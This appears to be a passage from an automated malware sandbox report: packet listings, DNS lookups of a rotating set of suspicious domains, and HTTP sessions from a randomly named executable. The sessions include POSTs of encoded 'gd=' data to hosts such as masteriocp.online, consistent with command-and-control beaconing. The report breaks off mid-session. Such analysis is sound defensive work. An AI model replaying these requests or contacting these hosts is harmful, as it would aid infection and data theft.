Sep 14, 2024 11:12:50.939414978 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.939429998 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.939439058 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.939448118 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.939457893 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.939469099 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.939479113 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.939496040 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.939506054 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.939526081 CEST	49760	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:50.939589977 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.939598083 CEST	49760	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:50.939598083 CEST	49760	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:50.939632893 CEST	49760	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:50.944468021 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.944478035 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.944485903 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.944493055 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.944644928 CEST	49760	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:50.944645882 CEST	49760	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:51.029772997 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:51.029807091 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:51.029819012 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:51.029984951 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:51.030011892 CEST	49760	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:51.030102968 CEST	49760	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:51.832070112 CEST	49760	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:52.851737022 CEST	49761	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:52.856689930 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:52.856767893 CEST	49761	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:52.866863966 CEST	49761	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:52.873395920 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.457520008 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.457551956 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.457582951 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.457593918 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.457607985 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.457606077 CEST	49761	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:53.457627058 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.457643032 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.457653999 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.457653046 CEST	49761	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:53.457663059 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.457674980 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.457711935 CEST	49761	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:53.457741976 CEST	49761	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:53.462788105 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.462836981 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.462846994 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.462860107 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.462877035 CEST	49761	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:53.462940931 CEST	49761	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:53.545783997 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.545835018 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.545844078 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.545854092 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.545919895 CEST	49761	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:53.545958996 CEST	49761	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:53.546057940 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:53.546104908 CEST	49761	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:53.550491095 CEST	49761	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:53.555361032 CEST	80	49761	162.0.239.141	192.168.2.4
Sep 14, 2024 11:13:06.661948919 CEST	49762	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:06.666775942 CEST	80	49762	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:06.667754889 CEST	49762	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:06.679667950 CEST	49762	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:06.684549093 CEST	80	49762	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:07.153400898 CEST	80	49762	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:07.153461933 CEST	49762	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:08.191371918 CEST	49762	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:08.196346998 CEST	80	49762	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:09.210674047 CEST	49763	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:09.215630054 CEST	80	49763	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:09.215706110 CEST	49763	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:09.228080988 CEST	49763	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:09.232949018 CEST	80	49763	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:09.671035051 CEST	80	49763	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:09.671093941 CEST	49763	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:10.738254070 CEST	49763	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:10.743199110 CEST	80	49763	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:11.756777048 CEST	49764	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:11.763004065 CEST	80	49764	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:11.763081074 CEST	49764	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:11.773127079 CEST	49764	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:11.778156042 CEST	80	49764	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:11.778187990 CEST	80	49764	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:11.778242111 CEST	80	49764	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:11.778254032 CEST	80	49764	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:11.778264999 CEST	80	49764	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:11.778276920 CEST	80	49764	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:11.778296947 CEST	80	49764	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:11.778309107 CEST	80	49764	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:11.778320074 CEST	80	49764	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:12.238394022 CEST	80	49764	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:12.239819050 CEST	49764	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:13.377696037 CEST	49764	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:13.382667065 CEST	80	49764	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.383676052 CEST	49765	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:14.388602972 CEST	80	49765	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.388792992 CEST	49765	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:14.399672031 CEST	49765	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:14.404534101 CEST	80	49765	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.891726017 CEST	80	49765	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.891815901 CEST	80	49765	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.891834021 CEST	80	49765	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.891849041 CEST	80	49765	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.891864061 CEST	80	49765	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.891877890 CEST	80	49765	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.891892910 CEST	80	49765	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.891906977 CEST	80	49765	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.891921997 CEST	80	49765	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.891931057 CEST	49765	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:14.891932011 CEST	49765	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:14.891947031 CEST	80	49765	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.891971111 CEST	49765	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:14.891994953 CEST	49765	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:14.892076015 CEST	80	49765	84.32.84.32	192.168.2.4
Sep 14, 2024 11:13:14.892179966 CEST	49765	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:14.896121025 CEST	49765	80	192.168.2.4	84.32.84.32
Sep 14, 2024 11:13:14.900942087 CEST	80	49765	84.32.84.32	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 14, 2024 11:11:04.888264894 CEST	56445	53	192.168.2.4	1.1.1.1
Sep 14, 2024 11:11:04.924459934 CEST	53	56445	1.1.1.1	192.168.2.4
Sep 14, 2024 11:11:09.946341991 CEST	52888	53	192.168.2.4	1.1.1.1
Sep 14, 2024 11:11:10.956917048 CEST	52888	53	192.168.2.4	1.1.1.1
Sep 14, 2024 11:11:11.575210094 CEST	53	52888	1.1.1.1	192.168.2.4
Sep 14, 2024 11:11:11.575228930 CEST	53	52888	1.1.1.1	192.168.2.4
Sep 14, 2024 11:11:28.006645918 CEST	56772	53	192.168.2.4	1.1.1.1
Sep 14, 2024 11:11:28.568342924 CEST	53	56772	1.1.1.1	192.168.2.4
Sep 14, 2024 11:11:42.131496906 CEST	55763	53	192.168.2.4	1.1.1.1
Sep 14, 2024 11:11:42.385333061 CEST	53	55763	1.1.1.1	192.168.2.4
Sep 14, 2024 11:11:55.633424997 CEST	52593	53	192.168.2.4	1.1.1.1
Sep 14, 2024 11:11:56.315817118 CEST	53	52593	1.1.1.1	192.168.2.4
Sep 14, 2024 11:12:10.009664059 CEST	62036	53	192.168.2.4	1.1.1.1
Sep 14, 2024 11:12:10.634450912 CEST	53	62036	1.1.1.1	192.168.2.4
Sep 14, 2024 11:12:23.789719105 CEST	63443	53	192.168.2.4	1.1.1.1
Sep 14, 2024 11:12:23.799879074 CEST	53	63443	1.1.1.1	192.168.2.4
Sep 14, 2024 11:12:31.870064020 CEST	57540	53	192.168.2.4	1.1.1.1
Sep 14, 2024 11:12:32.011194944 CEST	53	57540	1.1.1.1	192.168.2.4
Sep 14, 2024 11:12:45.163578987 CEST	57987	53	192.168.2.4	1.1.1.1
Sep 14, 2024 11:12:45.207256079 CEST	53	57987	1.1.1.1	192.168.2.4
Sep 14, 2024 11:12:58.555664062 CEST	65023	53	192.168.2.4	1.1.1.1
Sep 14, 2024 11:12:58.564555883 CEST	53	65023	1.1.1.1	192.168.2.4
Sep 14, 2024 11:13:06.631799936 CEST	57103	53	192.168.2.4	1.1.1.1
Sep 14, 2024 11:13:06.659496069 CEST	53	57103	1.1.1.1	192.168.2.4
Sep 14, 2024 11:13:20.303826094 CEST	58844	53	192.168.2.4	1.1.1.1
Sep 14, 2024 11:13:20.823889017 CEST	53	58844	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 14, 2024 11:11:04.888264894 CEST	192.168.2.4	1.1.1.1	0x9c09	Standard query (0)	www.linkbasic.net	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:09.946341991 CEST	192.168.2.4	1.1.1.1	0x8023	Standard query (0)	www.chamadaslotgiris.net	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:10.956917048 CEST	192.168.2.4	1.1.1.1	0x8023	Standard query (0)	www.chamadaslotgiris.net	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:28.006645918 CEST	192.168.2.4	1.1.1.1	0xca7b	Standard query (0)	www.masteriocp.online	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:42.131496906 CEST	192.168.2.4	1.1.1.1	0x2495	Standard query (0)	www.mediaplug.biz	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:55.633424997 CEST	192.168.2.4	1.1.1.1	0xb490	Standard query (0)	www.independent200.org	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:12:10.009664059 CEST	192.168.2.4	1.1.1.1	0x6fa3	Standard query (0)	www.tigre777gg.online	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:12:23.789719105 CEST	192.168.2.4	1.1.1.1	0xc6a4	Standard query (0)	www.monos.shop	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:12:31.870064020 CEST	192.168.2.4	1.1.1.1	0x82a0	Standard query (0)	www.personal-loans-jp8.xyz	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:12:45.163578987 CEST	192.168.2.4	1.1.1.1	0xfe66	Standard query (0)	www.quantumnests.xyz	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:12:58.555664062 CEST	192.168.2.4	1.1.1.1	0x225f	Standard query (0)	www.abbabyfernando.online	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:13:06.631799936 CEST	192.168.2.4	1.1.1.1	0xf183	Standard query (0)	www.parcelfly.net	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:13:20.303826094 CEST	192.168.2.4	1.1.1.1	0x77dc	Standard query (0)	www.siyue.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 14, 2024 11:11:04.924459934 CEST	1.1.1.1	192.168.2.4	0x9c09	Name error (3)	www.linkbasic.net	none	none	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:11.575210094 CEST	1.1.1.1	192.168.2.4	0x8023	No error (0)	www.chamadaslotgiris.net	chamadaslotgiris.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 14, 2024 11:11:11.575210094 CEST	1.1.1.1	192.168.2.4	0x8023	No error (0)	chamadaslotgiris.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:11.575210094 CEST	1.1.1.1	192.168.2.4	0x8023	No error (0)	chamadaslotgiris.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:11.575228930 CEST	1.1.1.1	192.168.2.4	0x8023	No error (0)	www.chamadaslotgiris.net	chamadaslotgiris.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 14, 2024 11:11:11.575228930 CEST	1.1.1.1	192.168.2.4	0x8023	No error (0)	chamadaslotgiris.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:11.575228930 CEST	1.1.1.1	192.168.2.4	0x8023	No error (0)	chamadaslotgiris.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:28.568342924 CEST	1.1.1.1	192.168.2.4	0xca7b	No error (0)	www.masteriocp.online	dns.ladipage.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 14, 2024 11:11:28.568342924 CEST	1.1.1.1	192.168.2.4	0xca7b	No error (0)	dns.ladipage.com		18.139.62.226	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:28.568342924 CEST	1.1.1.1	192.168.2.4	0xca7b	No error (0)	dns.ladipage.com		54.179.173.60	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:28.568342924 CEST	1.1.1.1	192.168.2.4	0xca7b	No error (0)	dns.ladipage.com		13.228.81.39	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:42.385333061 CEST	1.1.1.1	192.168.2.4	0x2495	No error (0)	www.mediaplug.biz		66.81.203.10	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:42.385333061 CEST	1.1.1.1	192.168.2.4	0x2495	No error (0)	www.mediaplug.biz		66.81.203.135	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:42.385333061 CEST	1.1.1.1	192.168.2.4	0x2495	No error (0)	www.mediaplug.biz		66.81.203.200	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:11:56.315817118 CEST	1.1.1.1	192.168.2.4	0xb490	No error (0)	www.independent200.org		103.42.108.46	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:12:10.634450912 CEST	1.1.1.1	192.168.2.4	0x6fa3	No error (0)	www.tigre777gg.online	tigre777gg.online		CNAME (Canonical name)	IN (0x0001)	false
Sep 14, 2024 11:12:10.634450912 CEST	1.1.1.1	192.168.2.4	0x6fa3	No error (0)	tigre777gg.online		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:12:10.634450912 CEST	1.1.1.1	192.168.2.4	0x6fa3	No error (0)	tigre777gg.online		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:12:23.799879074 CEST	1.1.1.1	192.168.2.4	0xc6a4	Name error (3)	www.monos.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:12:32.011194944 CEST	1.1.1.1	192.168.2.4	0x82a0	No error (0)	www.personal-loans-jp8.xyz		199.59.243.226	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:12:45.207256079 CEST	1.1.1.1	192.168.2.4	0xfe66	No error (0)	www.quantumnests.xyz		162.0.239.141	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:12:58.564555883 CEST	1.1.1.1	192.168.2.4	0x225f	Name error (3)	www.abbabyfernando.online	none	none	A (IP address)	IN (0x0001)	false
Sep 14, 2024 11:13:06.659496069 CEST	1.1.1.1	192.168.2.4	0xf183	No error (0)	www.parcelfly.net	parcelfly.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 14, 2024 11:13:06.659496069 CEST	1.1.1.1	192.168.2.4	0xf183	No error (0)	parcelfly.net		84.32.84.32	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.chamadaslotgiris.net

www.masteriocp.online

www.mediaplug.biz

www.independent200.org

www.tigre777gg.online

www.personal-loans-jp8.xyz

www.quantumnests.xyz

www.parcelfly.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	3.33.130.190	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:11:11.594907045 CEST	518	OUT	GET /gqyt/?gd=NZeSp/M8BkILDmxs2B7hIlXbpVtCmEXRGifz0/tmVi2b1oVO5NeHeL2ulzOnf4Iy2ctjEvS834w05gMs6MQyiHNH7DPloLfSnGllCxy50DD/tOn/niLsxIk=&a0=_6Edzvj0xtFLdH HTTP/1.1 Host: www.chamadaslotgiris.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Sep 14, 2024 11:11:12.967840910 CEST	396	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 14 Sep 2024 09:11:12 GMT Content-Type: text/html Content-Length: 256 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 67 64 3d 4e 5a 65 53 70 2f 4d 38 42 6b 49 4c 44 6d 78 73 32 42 37 68 49 6c 58 62 70 56 74 43 6d 45 58 52 47 69 66 7a 30 2f 74 6d 56 69 32 62 31 6f 56 4f 35 4e 65 48 65 4c 32 75 6c 7a 4f 6e 66 34 49 79 32 63 74 6a 45 76 53 38 33 34 77 30 35 67 4d 73 36 4d 51 79 69 48 4e 48 37 44 50 6c 6f 4c 66 53 6e 47 6c 6c 43 78 79 35 30 44 44 2f 74 4f 6e 2f 6e 69 4c 73 78 49 6b 3d 26 61 30 3d 5f 36 45 64 7a 76 6a 30 78 74 46 4c 64 48 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?gd=NZeSp/M8BkILDmxs2B7hIlXbpVtCmEXRGifz0/tmVi2b1oVO5NeHeL2ulzOnf4Iy2ctjEvS834w05gMs6MQyiHNH7DPloLfSnGllCxy50DD/tOn/niLsxIk=&a0=_6Edzvj0xtFLdH"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	18.139.62.226	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:11:28.590806961 CEST	787	OUT	POST /p5rq/ HTTP/1.1 Host: www.masteriocp.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.masteriocp.online Referer: http://www.masteriocp.online/p5rq/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 63 77 46 53 49 69 43 6d 4f 47 62 4e 56 41 32 6d 6d 78 6d 61 55 48 49 78 68 4c 70 74 77 55 35 72 38 72 79 6f 48 6b 79 76 70 7a 4a 33 76 2f 41 74 77 37 43 61 6b 78 4a 79 76 41 52 65 68 4c 4a 7a 7a 48 61 4d 4d 50 61 55 54 66 5a 6e 78 59 4b 2f 65 65 41 32 58 6d 30 61 5a 79 46 2f 45 50 64 2b 76 38 4e 6b 6d 48 63 52 4f 41 42 32 48 4a 6d 54 68 64 42 70 74 46 53 6b 79 31 46 56 37 4a 2f 54 73 5a 72 77 54 6f 67 65 66 70 64 38 61 35 32 6e 2b 37 47 43 52 38 73 4e 7a 4d 30 56 4b 6d 6e 37 75 7a 67 70 6e 4e 70 74 51 59 2b 33 76 79 50 2b 33 77 41 68 36 44 78 45 70 6d 5a 61 69 36 2b 53 6f 67 3d 3d Data Ascii: gd=cwFSIiCmOGbNVA2mmxmaUHIxhLptwU5r8ryoHkyvpzJ3v/Atw7CakxJyvARehLJzzHaMMPaUTfZnxYK/eeA2Xm0aZyF/EPd+v8NkmHcROAB2HJmThdBptFSky1FV7J/TsZrwTogefpd8a52n+7GCR8sNzM0VKmn7uzgpnNptQY+3vyP+3wAh6DxEpmZai6+Sog==
Sep 14, 2024 11:11:29.516406059 CEST	368	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Sat, 14 Sep 2024 09:11:29 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.masteriocp.online/p5rq/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	18.139.62.226	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:11:31.131051064 CEST	807	OUT	POST /p5rq/ HTTP/1.1 Host: www.masteriocp.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.masteriocp.online Referer: http://www.masteriocp.online/p5rq/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 63 77 46 53 49 69 43 6d 4f 47 62 4e 48 54 2b 6d 6b 53 4f 61 46 33 49 32 6b 4c 70 74 70 45 35 76 38 72 32 6f 48 6c 33 6b 6f 48 6c 33 76 61 38 74 69 75 75 61 74 68 4a 79 67 67 52 48 76 72 4a 6f 7a 47 6d 45 4d 50 57 55 54 66 4e 6e 78 59 61 2f 64 70 63 35 55 57 30 59 51 53 46 35 4c 76 64 2b 76 38 4e 6b 6d 48 49 33 4f 45 6c 32 48 36 75 54 75 5a 64 71 75 46 53 6e 6d 6c 46 56 2f 4a 2b 61 73 5a 71 64 54 74 49 6b 66 76 5a 38 61 34 47 6e 2f 71 47 42 62 38 73 50 33 4d 31 48 4f 6c 32 67 32 78 56 2b 34 76 70 63 5a 39 61 58 6a 55 65 6b 6d 42 68 32 6f 44 56 33 30 68 51 75 76 35 44 62 7a 6e 77 52 56 41 71 6a 71 36 69 79 31 75 37 51 2f 4d 68 6a 54 78 30 3d Data Ascii: gd=cwFSIiCmOGbNHT+mkSOaF3I2kLptpE5v8r2oHl3koHl3va8tiuuathJyggRHvrJozGmEMPWUTfNnxYa/dpc5UW0YQSF5Lvd+v8NkmHI3OEl2H6uTuZdquFSnmlFV/J+asZqdTtIkfvZ8a4Gn/qGBb8sP3M1HOl2g2xV+4vpcZ9aXjUekmBh2oDV30hQuv5DbznwRVAqjq6iy1u7Q/MhjTx0=
Sep 14, 2024 11:11:32.058912039 CEST	368	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Sat, 14 Sep 2024 09:11:31 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.masteriocp.online/p5rq/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 